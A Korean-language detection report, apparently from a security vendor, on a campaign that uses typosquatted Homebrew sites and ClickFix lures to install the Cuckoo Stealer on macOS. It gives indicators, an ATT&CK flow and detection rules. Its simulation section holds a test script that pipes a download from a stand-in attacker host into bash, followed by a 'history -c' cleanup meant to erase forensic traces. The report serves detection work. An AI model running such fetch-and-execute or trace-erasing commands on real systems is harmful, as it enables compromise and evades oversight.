가짜 홈브류 오타 입력 사이트, 클릭픽스를 통해 쿠쿠 스틸러 배포에 사용
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 타이포스쿼팅된 홈브류 도메인을 악용하여 macOS 개발자가 ClickFix 기법을 통해 악성 “설치” 명령어를 실행하도록 유도하는 캠페인을 설명합니다. 조작된 curl 원라이너가 피해자를 공격자 제어 인프라로 보내며, 인증 정보를 수집하는 로더를 배포하고 이어서 Cuckoo Stealer 정보 유출을 진행합니다. 이 악성 코드는 LaunchAgent를 통해 지속성을 유지하고, 격리 속성을 제거하며, HTTPS를 통해 인증 정보와 지갑 데이터를 유출합니다. 탐지는 curl 명령어 패턴과 관련 인프라에 중점을 두어야 합니다.
조사
연구자들은 초기 유인을 homabrews.org로 추적했으며, 네덜란드에서 5.255.123.244로 해석되고, 여러 유사 도메인을 호스팅했습니다(전달에 사용되는 raw.homabrews.org 포함). 다운로드된 스크립트는 dscl authonly 루프를 실행하여 macOS 인증을 검증한 후, brew_agent라는 바이너리를 가져옵니다. 두 번째 단계에서는, Cuckoo Stealer가 LaunchAgent plist를 생성하고, 격리 플래그를 제거하며, X25519 키 교환을 통해 암호화된 페이로드로 C2와 통신합니다. 인프라 헌팅을 통해 동일한 호스팅 IP를 공유하는 최소 여섯 개의 도메인 네트워크가 밝혀졌습니다.
완화
개발자에게 홈브류 설치 URL을 확인하고 신뢰할 수 없는 명령어를 터미널에 복사-붙여넣기하지 않도록 교육합니다. 명령 줄 로깅을 활성화하고, curl이 원격 스크립트를 즉시 실행하기 위해 가져오는 패턴, 특히 “curl | sh” 스타일의 원라이너를 제한합니다. 엔드포인트 보호는 의심스러운 LaunchAgent 생성 및 격리 속성 제거에 경고를 제공해야 합니다. 네트워크 방어는 알려진 악성 도메인을 차단하고, raw.homabrews.org 및 관련 호스트로의 트래픽을 식별해야 합니다.
대응
의심스러운 curl 명령이 감지되면, 엔드포인트를 격리하고 스크립트와 brew_agent 바이너리를 캡처하며 LaunchAgent plist를 수집하여 분석합니다. 수집된 인증 정보를 재설정하고 브라우저, 키체인 및 암호화폐 지갑에 대해 손상된 토큰을 취소합니다. 숨겨진 BrewUpdater 디렉토리, 생성된 모든 바로 가기 등을 포렌식 검토하고 악성 파일을 제거합니다. 추출된 IOC로 탐지를 업데이트하고 동일한 인프라의 재사용을 모니터링합니다.
“graph TB %% 클래스 정의 classDef technique fill:#e6f2ff %% 노드 정의 node_A[“<b>기법</b> – <b>T1659 내용 주입</b><br/><b>설명</b>: 공격자가 사용자가 방문할 때 악성 콘텐츠를 제공하는 합법적인 사이트를 모방한 웹페이지를 호스팅합니다.”] class node_A technique node_B[“<b>기법</b> – <b>T1204.004 사용자 실행: 악성 복사 & 붙여넣기</b><br/><b>설명</b>: 피해자가 웹페이지에서 조작된 명령어를 복사하여 터미널에 실행합니다.”] class node_B technique node_C[“<b>기법</b> – <b>T1059.004 유닉스 셸</b><br/><b>설명</b>: 처음 u2011단계 스크립트를 다운로드하고 실행하기 위해 유닉스 셸을 사용합니다.”] class node_C technique node_D[“<b>기법</b> – <b>T1555.001 암호 저장소에서 인증 정보: 키체인</b><br/><b>설명</b>: 저장된 인증 정보를 수집하기 위해 macOS 키체인에 액세스합니다.”] class node_D technique node_E[“<b>기법</b> – <b>T1555.003 암호 저장소에서 인증 정보: 웹 브라우저</b><br/><b>설명</b>: 브라우저에서 저장된 비밀번호와 쿠키를 추출합니다.”] class node_E technique node_F[“<b>기법</b> – <b>T1539 웹 세션 쿠키 훔치기</b><br/><b>설명</b>: 브라우저 및 확장 프로그램에서 활성 세션 토큰을 수집합니다.”] class node_F technique node_G[“<b>기법</b> – <b>T1614.001 시스템 언어 탐지</b><br/><b>설명</b>: LANG 환경 변수를 쿼리하여 시스템 로케일을 확인하고 특정 지역을 피합니다.”] class node_G technique node_H[“<b>기법</b> – <b>T1543.001 실행 에이전트</b><br/><b>설명</b>: 지속성을 위해 사용자 u2011수준의 LaunchAgent plist를 설치합니다.”] class node_H technique node_I[“<b>기법</b> – <b>T1553.001 게이트키퍼 우회</b><br/><b>설명</b>: Xattr를 사용하여 격리 속성을 제거하여 macOS 게이트키퍼를 우회합니다.”] class node_I technique node_J[“<b>기법</b> – <b>T1027 파일 또는 정보 숨기기</b><br/><b>설명</b>: XOR u2011암호화 문자열, 페이로드 및 구성을 사용하여 악성 콘텐츠를 숨깁니다.”] class node_J technique node_K[“<b>기법</b> – <b>T1113 스크린샷</b><br/><b>설명</b>: Screencapture 유틸리티를 사용하여 화면을 조용히 캡처합니다.”] class node_K technique node_L[“<b>기법</b> – <b>T1119 자동 수집</b><br/><b>설명</b>: 암호화폐 지갑, 노트, 문서 및 메시징 토큰을 반복적으로 수집합니다.”] class node_L technique node_M[“<b>기법</b> – <b>T1573 암호화된 채널</b><br/><b>설명</b>: 암호화된 C2 채널을 만들기 위해 X25519 ECDH 키 교환을 수행합니다.”] class node_M technique node_N[“<b>기법</b> – <b>T1102.002 웹 서비스: 양방향 통신</b><br/><b>설명</b>: HTTPS를 통해 명령u2011및u2011제어 서버와 통신합니다.”] class node_N technique node_O[“<b>기법</b> – <b>T1041 C2 채널을 통한 데이터 유출</b><br/><b>설명</b>: 암호화된 채널을 통해 도난당한 데이터를 전송합니다.”] class node_O technique node_P[“<b>기법</b> – <b>T1529 시스템 종료/재부팅</b><br/><b>설명</b>: 공격자가 지시할 때 재부팅 명령을 실행합니다.”] class node_P technique node_Q[“<b>기법</b> – <b>T1653 전원 설정</b><br/><b>설명</b>: 변경 사항을 적용하거나 사고 대응을 방해하기 위해 시스템 재부팅을 유도합니다.”] class node_Q technique node_R[“<b>기법</b> – <b>T1070.009 지속성 제거</b><br/><b>설명</b>: 바이너리 및 LaunchAgent plist 제거하여 자폭합니다.”] class node_R technique node_S[“<b>기법</b> – <b>T1564.014 아티팩트 숨기기: 확장 속성</b><br/><b>설명</b>: 격리 속성을 제거하여 게이트키퍼 경고를 피합니다.”] class node_S technique %% 흐름 표시 연결 node_A u002du002d>|리드로| node_B node_B u002du002d>|리드로| node_C node_C u002du002d>|리드로| node_D node_C u002du002d>|리드로| node_E node_C u002du002d>|리드로| node_F node_C u002du002d>|리드로| node_G node_C u002du002d>|리드로| node_H node_H u002du002d>|활성화| node_I node_I u002du002d>|활성화| node_J node_J u002du002d>|활성화| node_K node_K u002du002d>|활성화| node_L node_L u002du002d>|활성화| node_M node_M u002du002d>|활성화| node_N node_N u002du002d>|활성화| node_O node_O u002du002d>|활성화| node_P node_P u002du002d>|리드로| node_Q node_Q u002du002d>|리드로| node_R node_R u002du002d>|리드로| node_S “
공격 흐름
탐지
의심스러운 키체인 활동(프로세스 생성 경유)
보기
MacOS 의심스러운 Tmp 폴더 파일 권한 수정(cmdline 경유)
보기
의심스러운 MacOS – Plist 위치 및 이름 (파일 이벤트 경유)
보기
의심스러운 MacOS 저장 브라우저 인증 정보 접근(프로세스 생성 경유)
보기
MacOS 시스템 볼륨이 Osascript로 음소거됨(cmdline 경유)
보기
MacOS Screencapture 실행 시도에 의한 수집 가능성(cmdline 경유)
보기
의심스러운 Curl 실행 시도 [MacOS](cmdline 경유)
보기
IOCs (HashSha256) 탐지: 가짜 홈브류 타이포스쿼트를 사용하여 Cuckoo Stealer 전달 via ClickFix
보기
IOCs (SourceIP) 탐지: 가짜 홈브류 타이포스쿼트를 사용하여 Cuckoo Stealer 전달 via ClickFix
보기
IOCs (DestinationIP) 탐지: 가짜 홈브류 타이포스쿼트를 사용하여 Cuckoo Stealer 전달 via ClickFix
보기
ClickFix를 통한 악성 macOS 설치 명령어 탐지 [Linux 프로세스 생성]
보기
ClickFix 캠페인의 타이포스쿼팅 도메인 및 악성 IP 탐지 [네트워크 지표]
보기
시뮬레이션 실행
전제조건: 텔레메트리 및 기준 전처리 확인이 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 공격자 기법(TTP)의 정확한 실행을 설명합니다. 명령어와 설명은 반드시 식별된 TTP를 직접 반영하고 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어질 것입니다.
-
공격 서사 및 명령어:
공격자는 C2 서버에 호스팅된 악성 PowerShell 인코딩 스크립트를 확보했습니다. 디스크에 파일을 쓰는 것을 피하기 위해, 공격자는 스크립트를curl -fsSL과-c플래그를 사용하여 직접 Bash 셸에 스트림합니다. 명령어는 손상된 사용자 계정에서 상호작용적으로 실행되어 합법적인 “클릭-픽스” 설치 프로그램을 모방합니다. 단계는 다음과 같습니다:- 악성 페이로드 URL 확인(예:
https://evil.example.com/payload.sh). - 다운로드를 Bash에 파이프로 전달하여 내용을
-c. - 와 함께 실행하도록 지시합니다. 페이로드는 자격 증명 수집, 숨겨진 파일 생성 및 임시 스크립트 삭제(포함 T1070.004).
- 악성 페이로드 URL 확인(예:
-
회귀 테스트 스크립트:
#!/usr/bin/env bash # ------------------------------------------------- # 악성 macOS 설치 프로그램 시뮬레이션 (ClickFix 스타일) # ------------------------------------------------- set -euo pipefail MALICIOUS_URL="https://evil.example.com/payload.sh" # -c로 Bash에 직접 페이로드 스트림 curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)" # 페이로드 자체가 악성 작업을 수행한다고 가정합니다. # 테스트 목적으로 우리는 단순히 마커를 에코합니다. echo "악성 페이로드가 실행되었습니다" -
정리 명령어:
# 페이로드가 생성했을 수 있는 파일 제거 rm -f /tmp/payload.sh # 포렌식 흔적을 줄이기 위해 명령어 기록 지우기(선택 사항) history -c